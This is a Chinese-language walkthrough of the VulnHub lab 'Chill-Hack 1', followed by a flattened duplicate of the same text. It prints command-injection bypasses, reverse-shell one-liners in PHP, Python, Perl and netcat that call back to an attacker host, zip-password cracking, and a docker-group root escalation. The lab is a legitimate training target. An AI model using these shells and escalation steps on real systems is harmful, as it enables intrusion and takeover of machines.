VulnHub-Chill-Hack 1 靶场渗透测试
字数 1270 2025-08-15 21:33:34

Chill-Hack 1 靶场渗透测试教学文档

靶场信息

  • 下载地址: https://www.vulnhub.com/entry/chill-hack-1,622/
  • 发布日期: 2020年12月9日
  • 难度: 容易/中级
  • 目标: 获取User和root两个flag
  • 运行环境: VMware Workstation 16.x Pro(NAT网络模式)

渗透测试流程

一、信息收集

  1. 扫描目标IP

    nmap -sn 10.0.0.0/24
    

    发现靶机IP: 10.0.0.131

  2. 端口扫描

    nmap -sV -p- 10.0.0.131
    

    结果:

    • 21/tcp: vsftpd 3.0.3 (FTP)
    • 22/tcp: OpenSSH 7.6p1 Ubuntu
    • 80/tcp: Apache httpd 2.4.29
  3. FTP匿名登录

    ftp 10.0.0.131
    

    用户名: anonymous
    密码: (任意或留空)
    获取提示文件:

    Anurodh told me that there is some filtering on strings being put in the command -- Apaar
    

二、Web应用渗透

  1. 目录扫描

    dirb http://10.0.0.131/
    

    发现敏感目录: /secret/

  2. 命令执行漏洞
    访问: http://10.0.0.131/secret/
    发现存在命令注入漏洞

    绕过过滤技巧:

    • 使用管道符: whoami|ls
    • 使用双引号: whoami""
    • 使用分号: ls;whoami
  3. 反弹Shell
    使用多种方法建立反向连接:

    PHP方法:

    whoami|php -r '$sock=fsockopen("攻击机IP",8888);exec("/bin/bash -i <&3 >&3 2>&3");'
    

    Python方法:

    whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    

    Perl方法:

    whoami|perl -e 'use Socket;$i="攻击机IP";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    Netcat方法:

    whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 5555 >/tmp/f
    
  4. 升级Shell

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    

三、权限提升路径

  1. 信息收集
    在/var/www/files路径发现:

    • hacker.php (提示: "在黑暗中看!你会找到答案的")
    • /var/www/files/images/hacker-with-laptop_23-2147985341.jpg
  2. 图片隐写分析

    steghide extract -sf hacker-with-laptop_23-2147985341.jpg
    

    提取出backup.zip

  3. 破解ZIP密码

    fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip
    

    密码: pass1word

  4. 获取SSH凭证
    解压得到source_code.php,分析发现base64编码的密码:

    echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
    

    结果: !d0ntKn0wmYp@ssw0rd

  5. SSH登录
    尝试用户名: anurodh

    ssh anurodh@10.0.0.131
    

    使用密码: !d0ntKn0wmYp@ssw0rd 成功登录

  6. 横向移动

    • 检查sudo权限:

      sudo -l
      

      结果:

      User anurodh may run the following commands on ubuntu:
        (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
      
    • 利用.helpline.sh脚本:

      sudo -u apaar /home/apaar/.helpline.sh
      

      在第二次输入时输入/bin/bash获取apaar用户的shell

  7. 获取User Flag
    在apaar用户目录下找到local.txt

四、提权至Root

  1. 信息收集
    使用LinEnum.sh脚本:

    wget http://攻击机IP/LinEnum.sh
    chmod +x LinEnum.sh
    ./LinEnum.sh
    

    发现anurodh用户在docker组

  2. Docker提权
    参考GTFOBins:

    docker run -v /:/mnt --rm -it alpine chroot /mnt sh
    

    成功获取root权限

  3. 获取Root Flag
    在root目录下找到proof.txt

总结

关键知识点

  1. 命令注入绕过技术(管道符、双引号、分号)
  2. 多种反弹Shell方法(PHP/Python/Perl/Netcat)
  3. 图片隐写分析(steghide)
  4. ZIP密码破解(fcrackzip)
  5. Sudo权限滥用
  6. Docker组提权

防御建议

  1. 对用户输入进行严格过滤
  2. 避免使用弱密码
  3. 限制sudo权限
  4. 谨慎分配docker组权限
  5. 避免在图片等文件中存储敏感信息
Chill-Hack 1 靶场渗透测试教学文档 靶场信息 下载地址: https://www.vulnhub.com/entry/chill-hack-1,622/ 发布日期: 2020年12月9日 难度: 容易/中级 目标: 获取User和root两个flag 运行环境: VMware Workstation 16.x Pro(NAT网络模式) 渗透测试流程 一、信息收集 扫描目标IP 发现靶机IP: 10.0.0.131 端口扫描 结果: 21/tcp: vsftpd 3.0.3 (FTP) 22/tcp: OpenSSH 7.6p1 Ubuntu 80/tcp: Apache httpd 2.4.29 FTP匿名登录 用户名: anonymous 密码: (任意或留空) 获取提示文件: 二、Web应用渗透 目录扫描 发现敏感目录: /secret/ 命令执行漏洞 访问: http://10.0.0.131/secret/ 发现存在命令注入漏洞 绕过过滤技巧: 使用管道符: whoami|ls 使用双引号: whoami"" 使用分号: ls;whoami 反弹Shell 使用多种方法建立反向连接: PHP方法: Python方法: Perl方法: Netcat方法: 升级Shell 三、权限提升路径 信息收集 在/var/www/files路径发现: hacker.php (提示: "在黑暗中看 !你会找到答案的") /var/www/files/images/hacker-with-laptop_ 23-2147985341.jpg 图片隐写分析 提取出backup.zip 破解ZIP密码 密码: pass1word 获取SSH凭证 解压得到source_ code.php,分析发现base64编码的密码: 结果: !d0ntKn0wmYp@ssw0rd SSH登录 尝试用户名: anurodh 使用密码: !d0ntKn0wmYp@ssw0rd 成功登录 横向移动 检查sudo权限: 结果: 利用.helpline.sh脚本: 在第二次输入时输入 /bin/bash 获取apaar用户的shell 获取User Flag 在apaar用户目录下找到local.txt 四、提权至Root 信息收集 使用LinEnum.sh脚本: 发现anurodh用户在docker组 Docker提权 参考GTFOBins: 成功获取root权限 获取Root Flag 在root目录下找到proof.txt 总结 关键知识点 命令注入绕过技术(管道符、双引号、分号) 多种反弹Shell方法(PHP/Python/Perl/Netcat) 图片隐写分析(steghide) ZIP密码破解(fcrackzip) Sudo权限滥用 Docker组提权 防御建议 对用户输入进行严格过滤 避免使用弱密码 限制sudo权限 谨慎分配docker组权限 避免在图片等文件中存储敏感信息